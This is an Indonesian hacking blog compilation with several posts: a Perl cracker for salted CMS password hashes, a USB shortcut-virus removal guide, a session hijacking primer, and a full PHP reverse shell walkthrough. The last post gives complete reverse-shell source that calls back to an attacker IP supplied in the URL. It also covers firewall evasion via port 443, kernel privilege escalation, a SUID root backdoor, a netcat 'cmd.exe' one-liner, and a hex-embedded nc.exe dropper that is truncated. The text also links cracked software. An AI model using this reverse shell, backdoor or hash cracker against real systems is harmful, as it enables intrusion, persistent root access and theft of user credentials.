11 Jan 2012

0 Multiple CMS Hash Cracker

Berikut ini adalah source untuk MD5/SHA-1 Cracker yang dibuat untuk Crack Content Management System Hash seperti Joomla, WordPress, Drupal, Dsb. Jadi bisa mempermudah pencarian hash, langsung aja deh :)
#!usr/bin/perl
use Digest::MD5 qw(md5_hex);
use Digest::SHA1 qw(sha1_hex);
# Author: localh0t
# Date: 09/06/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# Help
if(!$ARGV[7])
{
print “\n\n###########################################”;
print “\n# Multi CMS Hash Cracker v0.1 by localh0t #”;
print “\n###########################################”;
print “\n\nUse: perl $0 -d [WORLDLIST FOLDER] -h [MD5 | SHA-1 HASH] -s [SALT | USERNAME] -c [CMS]\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h caef8544a8e65e23f67ab844d4866e8d -s uZ*qX -c IPB\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h dc4a27b25e3f780b89c165f931d6f85d5bd6e33e -s Administrator -c SMF\n\n”;
print “Note: Worlists must end with .txt or .lst (or any extension)\n\n”;
print “Support:\n========\n”;
print “VB : md5_hex(md5_hex(password).salt) | (vBulletin)\n”;
print “SMF : sha1_hex(user.password) | (Simple Machines Forum)\n”;
print “IPB : md5_hex(md5_hex(salt).md5_hex(password)) | (Invision Power Board)\n”;
print “JOOMLA : md5_hex(password.salt) | (Joomla 1.x)\n\n”;
exit(0);
}
# Functions
sub ipb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($salt).md5_hex($password));
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub vb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($password).$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub smf_cracker{
my $hash = shift;
my $user = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = sha1_hex($user.$password);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub joomla_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex($password.$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
my ($dir, $hash, $salt, $cms, $arg);
foreach $loop (@ARGV) {
for ($loop) {
/^-d$/ and do { $dir = $ARGV[($arg+1)]; last; };
/^-h$/ and do { $hash = $ARGV[($arg+1)]; last; };
/^-s$/ and do { $salt = $ARGV[($arg+1)]; last; };
/^-c$/ and do { $cms = $ARGV[($arg+1)]; last; };
}
$arg++;
}
# Main
print “\n[!] Cracking $hash with $salt as username/salt…\n\n”;
opendir(DIR, $dir) || die “\n[-] Folder not found\n\n”;
while($file = readdir(DIR)) {
if ($file ne ‘.’ and $file ne ‘..’) {
$FILES[$clean] = $file;
$clean++;
}
}
for ($cms) {
/^IPB$/ and do { $result = &ipb_cracker($hash,$salt,$dir); last; };
/^VB$/ and do { $result = &vb_cracker($hash,$salt,$dir); last; };
/^SMF$/ and do { $result = &smf_cracker($hash,$salt,$dir); last; };
/^JOOMLA$/ and do { $result = &joomla_cracker($hash,$salt,$dir); last; };
/^.$/ and do { print “[-] CMS not available\n”; exit(0); last; };
}
print $result;
# Exit
close(DICT);
closedir(DIR);
exit(0);
__END__
Bagaimana Penggunaannya? Berikut Petunjuknya:
  1. Install Perl Di Komputer Anda, Dengan Mendownload Perl. Untuk Linux Biasanya Sudah Terinstall, Di Windows Silakan Download Disini: http://www.activestate.com/activeperl/downloads
  2. Simpan File Tersebut “cmsdir.pl
  3. Ikuti Langkah Berikut:

Silakan Download Tools / Source Code:
              DOWNLOAD

0 Cara Menghapus Virus Shortcut

Berikut 8 langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:
1. Nonaktifkan ‘System Restore’ untuk sementara selama proses pembersihan.
2. Putuskan komputer yang akan dibersihkan dari jaringan.
3. Matikan proses virus yang aktif di memori dengan menggunakan tools ‘Ice Sword’. Setelah tools tersebut terinstal, pilih file yang mempunyai icon ‘Microsoft Visual Basic Project’ kemudian klik ‘Terminate Process’. Silahkan download tools tersebut di http://icesword.en.softonic.com/
4. Hapus registri yang sudah dibuat oleh virus dengan cara:
-. Klik menu [Start]
-. Klik [Run]
-. Ketik REGEDIT.exe, kemudian klik tombol [OK]
-. Pada aplikasi Registry Editor, telusuri key [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
-. Kemudian hapus key yang mempunyai data [C:\Document and Settings\%user%].
5. Disable autoplay/autorun Windows. Copy script di bawah ini pada program notepad kemudian simpan dengan nama REPAIR.INF, install file tersebut dengan cara: Klik kanan REPAIR.INF –> INSTALL
[Version]
Signature=”$Chicago$”
Provider=Vaksincom
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”
HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
6. Hapus File induk dan file duplikat yang dibuat oleh virus termasuk di flash disk. Untuk mempercepat proses pencarian, Anda dapat menggunakan fungsi ‘Search’. Sebelum melakukan pencarian sebaiknya tampilkan semua file yang tersembunyi dengan mengubah pada setting Folder Options.
Jangan sampai terjadi kesalahan pada saat menghapus file induk maupun file duplikat yang telah dibuat oleh virus. Lalu hapus file induk virus yang mempunyai ciri-ciri:
-. Icon ‘Microsoft Visual Basic Project’.
-. Ukuran File 128 KB (untuk varian lain akan mempunyai ukuran yang bervariasi).
-. Ekstesi file ‘.EXE’ atau ‘.SCR’.
-. Type file ‘Application’ atau ‘Screen Saver’.
Kemudian hapus File duplikat shortcut yang mempunyai ciri-ciri:
>. Icon Folder atau icon
>. Ekstensi .LNK
>. Type File ‘Shortcut’
>. Ukuran file 1 KB
Hapus juga file yang .DLL (contoh: ert.dll) dan file Autorun.inf di flash disk atau folder yang di-share. Sementara untuk menghindari virus tersebut aktif kembali, hapus file induk yang mempunyai ekstensi EXE atau SCR terlebih dahulu baru kemudian hapus file Shortcut (.LNK).
7. Tampilkan kembali folder yang telah disembunyikan oleh virus. Untuk mempercepat proses tersebut, silahkan download tools UnHide File and Folder di http://www.flashshare.com/bfu/download.html.
Setelah diinstall, pilih direktori [C:\Documents and settings] dan folder yang ada di flash disk dengan cara menggeser ke kolom yang sudah tersedia. Pada menu [Attributes] kosongkan semua pilihan yang ada, kemudian klik tombol [Change Attributes].
8. Install security patch ‘Microsoft Windows Shell shortcut handling remote code execution vulnerability-MS10-046′. Silakan download security patch tersebut di http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx
Seperti biasa, untuk pembersihan secara optimal dan menecegah infeksi ulang, sebaiknya install dan scan dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini dengan baik.
Original source: vaksin[dot]com & detikinet[dot]com

CARA 2 MENGHAPUS VIRUS SHORTCUT:

Ciri-ciri virus shortcut :
Pertama-tama, setelah menginfeksi komputer, dia akan membuat file induk database.mdb di My Documents
Yang kedua adalah virus tersebut akan membuat file autorun.inf di setiap drive harddisk, flash disk, dan folder tanpa kecuali.
Yang ketiga adalah dia akan membuat file Thumb.db (hati-hati, perhatikan bahwa file ini tanpa huruf s sedangkan thumbnail cache yang asli di komputer memiliki tambahan huruf s alias thumbs.db) di setiap folder
Untuk memancing korban, dia akan membuat file Microsoft.lnk dan New Harry Potter and….lnk di setiap folder yang jika dieksekusi akan langsung mengaktifkan virus tersebut.
Seperti halnya virus-virus lokal lainnya, dia akan membuat duplikat setiap folder namun kali ini bukan dengan ekstensi .exe melainkan extensi .ink alias shortcut.
Pada task manager terdapat proses services wscript.exe yang sedang berjalan. Dalam kondisi normal, tidak ada proses seperti ini.
Langkah-langkah menghapus virus shortcut :
1. Matikan System Restore. Sejak dulu saya selalu mematikan system restore segera setelah proses instalasi windows. Untuk keperluan backup dan imaging system, saya lebih memilih menggunakan third party seperti acronis ataupun Norton Ghost (baca dan dowload : Norton Ghost 15.0.0.35659 (2010) Full Serial Crack)
2. Matikan proses virus wsrcipt.exe (C:\WINDOWS\System32\wscript.exe)
Bisa menggunakan Process Explorer atau misc. tool pada HijackThis (baca dan download : HijackThis 2.0.2 ).
3. Hapus file virus database.mdb di My Documents..
4. Hapus file duplikat virus..
Untuk proses penghapusan, anda bisa menggunakan fasilitas search pada Windows.. Pada “More advanced options”, pastikan option “Search system folders” dan “Search hidden files and folders” keduanya telah dicentang.
Search file dengan nama autorun.inf ukurannya 8 KB
Search file dengan nama Thumb.db ukurannya 8 KB
Search file dengan ekstensi .lnk.lnk ukurannya 1 KB
Hapus semua file yang ditemukan..
Untuk lebih memudahkan proses pencarian yang sekaligus menghapus file yang ditemukan, anda bisa menggunakan software UTool, sebuah freeware yang dapat anda download secara gratis. Program ini akan secara otomatis mencari dan kemudian menghapus file-file yang diinginkan (lihat gambar).
5. Hapus registry Autorun yang dibuat virus dengan menggunakan HijackThis..
Cari di bagian HKCU\..\Run: yang berhubungan dengan file database.mdb (pada gambar namun file database.mdb udah saya hapus)
regedit_run
Untuk lebih memantabkan proses pencegahan dan melindungi komputer kita dari serangan virus lokal yang sangat memusingkan ini, anda dapat melakukan hal-hal berikut:
1. Setelah proses instalasi windows, segera matikan system restore.
2. Install software third party misal Tweak UI atau Magic Tweak untuk mendisable autorun dan mencegah teraktivasinya file-file .inf. Mungkin pada Windows XP Professional, proses menon-aktifkan autorun bisa dilakukan dengan mudah, namun pada versi Win XP Home, anda memerlukan software ini. Tambahan informasi, program MagicTweak selain berfungsi menon-aktifkan autorn  dapat juga digunakan untuk mencegah dijalankannya file-file .inf File autorun.inf yang biasanya merupakan awal dari berjangkitnya virus akan secara otomatis diubah menjadi murni file txt alias notepad oleh program ini dan dia tidak lagi bisa dieksekusi. Ini sangat membantu jika memang secara tidak sengaja kita mengaktifkan atau mengeksekusi autorun.inf meski proses autorun sudah didisable untuk semua drive (termasuk flash disk).
3. Setelah semua proses instalasi windows, driver, program, dan lain-lain telah selesai, segera backup image system anda menggunakan software macam Acronis True Image atau Norton Ghost, sehingga jika nanti ada masalah yang tidak dapat anda selesaikan dengan mudah, anda dapat merestoreasi backup system tersebut.
4. Jika perlu, instal juga Deep Freeze apabila komputer anda digunakan oleh banyak orang, sehingga settingan komputer tidak akan berubah-ubah.
5. Update info: Ciri-ciri virus terdapatnya virus shortcut pada flashdisk dapat diketahui dengan perbedaan icon flashdisk tersebut yang biasanya berbentuk seperti icon drive menjadi berubah seperti icon folder. Jika menemui icon seperti ini, berarti dalam flashdisk tersebut terdapat virus. Gunakan explorer dan buka flashdisk lewat explorer (jangan klik 2x dari my computer) dan hapus file autorun dan file2 tersangka virus lainnya secara manual dengan menekan shift + DEL (supaya tidak tersangkut di recycle bin). Rata-rata virus lokal dapat dicegah dengan cara manual seperti ini asalkan OPSI DISABLE AUTORUN pada windows dan/atau MagicTweak telah diaktifkan, dan juga OPSI DISABLE .INF FILE pada MagicTweak telah diaktifkan.
Nah, itu mungkin sedikit tips cara menghapus virus shortcut dan smoga komputer kamu setelah hapus virus shortcut jadi bebas deh dari virus shortcut.
Original source: maswafa[dot]blogger[dot]com

0 Session Hijacking Basics

What really is Session?
Bayangkan ketika anda nonton bioskop, lalu tiba-tiba di tengah pertunjukan anda ingin ke toilet yang letaknya di luar studio. Setelah anda selesai dari toilet, menurut anda apakah anda dibolehkan masuk atau diminta membeli tiket lagi? Bila anda diminta membeli tiket lagi, berarti dia “lupa” bahwa anda adalah penonton yang sah. Bagaimana cara penjaga pintu studio mengingat bahwa anda adalah pentonton yang sah? Saking banyaknya pentonton tidak mungkin penjaga hafal wajah tiap penonton. Maka cara yang dipakai adalah dengan bukti berupa tiket masuk.

Itulah ilustrasi dari session. Mulai bioskop memutar film sampai selesai adalah satu sesi. Setiap penonton bebas keluar masuk studio selama sesi masih berlangsung, namun setelah sesi selesai, penonton tidak boleh lagi masuk studio. Karena penjaga pintu studio tidak mungkin mengingat setiap penonton, maka diperlukan bukti berupa tiket.
HTTP adalah protokol yang sifatnya stateless, artinya setiap transaksi request dan response adalah bebas, tidak ada hubungannya dengan transaksi sebelum atau sesudahnya. Server tidak mungkin mengingat dan mengetahui bahwa transaksi X dan transaksi Y dilakukan oleh orang yang sama.
Session Identifier is Your Ticket
Seperti pada ilustrasi bioskop, untuk membantu penjaga pintu studio mengetahui setiap penonton yang masuk adalah penonton yang sah diperlukan bukti berupa tiket. Dalam HTTP, tiket bioskop itu berupa session identifier yang tidak lain adalah untaian karakter dan angka yang panjang dan acak.
Ketika pengunjung pertama kali datang, server akan memberikan tiket berupa session id. Ketika server menerima request dari pengunjung yang membawa session id, server akan memeriksa apakah session id itu valid. Jika session id valid, maka server yakin bahwa request ini datang dari “returning visitor” bukan orang asing. Ingat ilustrasi bioskop di awal, ini seperti penjaga pintu studio yakin bahwa anda adalah penonton yang kembali masuk setelah sebelumnya keluar ke toilet.
Ada 2 media untuk membawa sessionid, yaitu cookie dan URL. Cookie biasanya berupa file text yang disimpan oleh browser dan dikirimkan kembali ke server bersama setiap request. Sedangkan sessionid yang dibawa melalui URL umumnya berbentuk parameter seperti  ?sessionid=123123 .
Server umumnya memberikan sessionid melalui cookie karena cara ini lebih aman dari cara URL.
Web Application Session
Dalam web aplikasi umumnya pengunjung diharuskan memasukkan username dan password, setelah itu baru pengunjung bisa menikmati beragam fasilitas yang diberikan sampai pengunjung melakukan logout. Mari kita lihat apa yang terjadi ketika pengunjung melakukan login.
Ketika pengunjung memasukkan username (katakanlah “Budi”) dan password yang benar, web server akan memberikan tiket berupa sessionid katakanlah “1234″. Kemudian dalam database akan dicatat bahwa sessionid “1234″ adalah milik seorang pengunjung yang bernama “Budi”. Setiap kali ada request yang membawa tiket sessionid “1234″,  server yakin bahwa  request itu adalah dari pengunjung yang namanya adalah “Budi”. Tiket ini akan terus valid sampai suatu saat “Budi” melakukan logout. Setelah logout, ketika ada request dengan sessionid “1234″, maka server akan tahu bahwa sessionid itu sudah tidak valid, dan memaksa anda login.
Stealing Session
Bayangkan bila ketika anda keluar bioskop untuk ke toilet, tiket anda jatuh dan saya temukan. Lalu saya masuk ke studio dengan tiket itu, apakah saya diijinkan masuk? Tentu saja boleh! Karena saya memegang bukti tak terbantahkan berupa tiket. Sedangkan anda yang kehilangan tiket tidak akan boleh masuk studio karena penjaga studio tidak hafal wajah anda.
Itulah yang akan terjadi bila seseorang mencuri sessionid. Jika anda sedang baca email dan sessionid anda dicuri orang lain, maka orang lain itu akan bisa juga membaca email anda dan server akan yakin bahwa orang lain itu adalah anda.
Di internet, siapapun yang membawa sessionid anda akan menjadi anda!
Bagaimana cara mendapatkan sessionid korban? Secara garis besar ada 3 kategori teknik untuk mendapatkan sessionid, yaitu predict, capture dan fixate.
  1. Predict
  2. Teknik ini mirip dengan judi togel, yaitu dengan cara menebak-nebak angka. Kemungkinan berhasilnya tergantung dari tingkat ke-acak-an sessionid. Bila sessionid tidak cukup random, bahkan cenderung mengikuti suatu pola, maka kemungkinan sessionid bisa ditebak. Namun umumnya sessionid sekarang sudah menggunakan fungsi random dan ukurannya panjang, sehingga kecil kemungkinan berhasil dengan cara ini (jauh lebih mudah menebak togel yang cuma 4 angka, daripada menebak sessionid).
  3. Capture
    • (Passive) Sniffing.
      Menyadap komunikasi http antara browser korban dan server web. Teknik ini sangat mungkin dilakukan untuk situs yang tidak dilindungi https karena paket http tidak ter-enkripsi.
    • Man-in-them-middle (MITM).
      Situs dengan https tidak bisa disniff secara passive. Man-in-the-middle attack diperlukan untuk sniffing komunikasi antara browser korban dan server yang dilindungi https. Namun tanpa sertifikat yang di-sign CA yang dipercaya browser, serangan ini mudah dicegah karena browser akan memberi warning bahwa sertifikat attacker tidak bisa dipercaya.
    • Cross Site Request Forgery (CSRF).
      CSRF attack bertujuan untuk membuat korban melakukan request yang mengandung sessionid. Bila sessionid disimpan dalam cookie, maka request akan mengandung sessionid dalam header cookie. (baca contoh PoC-nya di membajak session https permatanet). Bila sessionid disimpan dalam URL (url rewriting), maka request akan mengandung sessionid dalam header referer.
    • Cross Site Scripting (XSS).
      XSS dilakukan dengan cara meng-injeksi code javascript (client side script) yang akan dieksekusi oleh browser korban. Code javascript ini bertujuan mengirimkan cookie ke server yang sudah disiapkan attacker. Baca contoh PoC-nya di menjaring password klikBCA dengan XSS.
  4. Fixate.
    Kalau menebak dan menyadap sessionid sulit dilakukan, maka cara lain adalah dengan memaksa korban menggunakan sessionid yang sudah dipilih sebelumnya oleh attacker. Serangan ini disebut dengan session fixation attack.
Session Telkom.net
telkomnetAnda ingin tahu bagaimana rasanya mencuri session? Benarkah bila anda mendapatkan sessionid orang lain, maka anda bisa menjadi orang lain? Untuk membuktikannya, anda harus mencoba sendiri. Contoh kasus yang mudah adalah dalam session webmail telkom.net.
Saya pakai contoh telkom.net karena telkom.net menyimpan sessionid dalam URL, bukan dalam cookie sehingga lebih mudah untuk contoh. Jika anda login ke webmail telkom.net, maka URL anda akan tampak seperti ini:
Dalam URL di atas sessionid adalah 1348362-ri33mMyYqlqEBizKv9lW-kmbcuww. Coba saja klik URL di atas. Anda akan melihat halaman login telkom.net dengan pesan error: Anda telah disconnect dari server. Silakan login kembali. Hal itu terjadi karena anda mengakses webmail dengan sessionid yang sudah tidak valid karena sudah pernah logout.
Untuk merasakan mencuri session, coba saja buat account sendiri di mail.telkom.net, kemudian login. Setelah anda berhasil login, copy URL anda lalu berikan URL itu pada teman anda melalui Yahoo Messenger atau Email. Jika teman anda mengklik URL itu, maka teman anda otomatis menjadi anda dan bisa melakukan semua hal yang bisa anda lakukan. Atau anda bisa membuka URL anda di browser yang berbeda, hasilnya akan sama saja, di browser yang lain juga akan terbuka email anda.
Sekarang coba anda logout. Setelah logout, anda buka kembali URL yang sudah anda copy sebelumnya. Kini anda tidak bisa lagi membuka email anda karena sessionid sudah tidak valid.
Kesimpulan
Anda telah mengerti tentang session dan melakukan pencurian session dengan cara manual “Copy-Paste”. Karena artikel ini hanyalah introduction maka saya tidak menjelaskan tentang teknik pencurian session yang lebih canggih. Dalam artikel lainnya saya akan jelaskan teknik pencurian session yang lebih canggih.

0 Reverse Connecting Shell di PHP

Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.

Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"]; 
$port = $_GET["port"]; 
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
 // Fork and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }
 
 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }
 
 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }
 
 // Check for end of STDOUT
 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }
 
 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }
 
 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }
 
 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.


Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.

Reverse Rootshell
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.

Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah “$” yang berarti hanya normal shell sebagai apache.

Reverse Shell di Windows
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:
  • download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
  • upload: dibuat suatu file php untuk melakukan upload file ke webserver.
  • generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
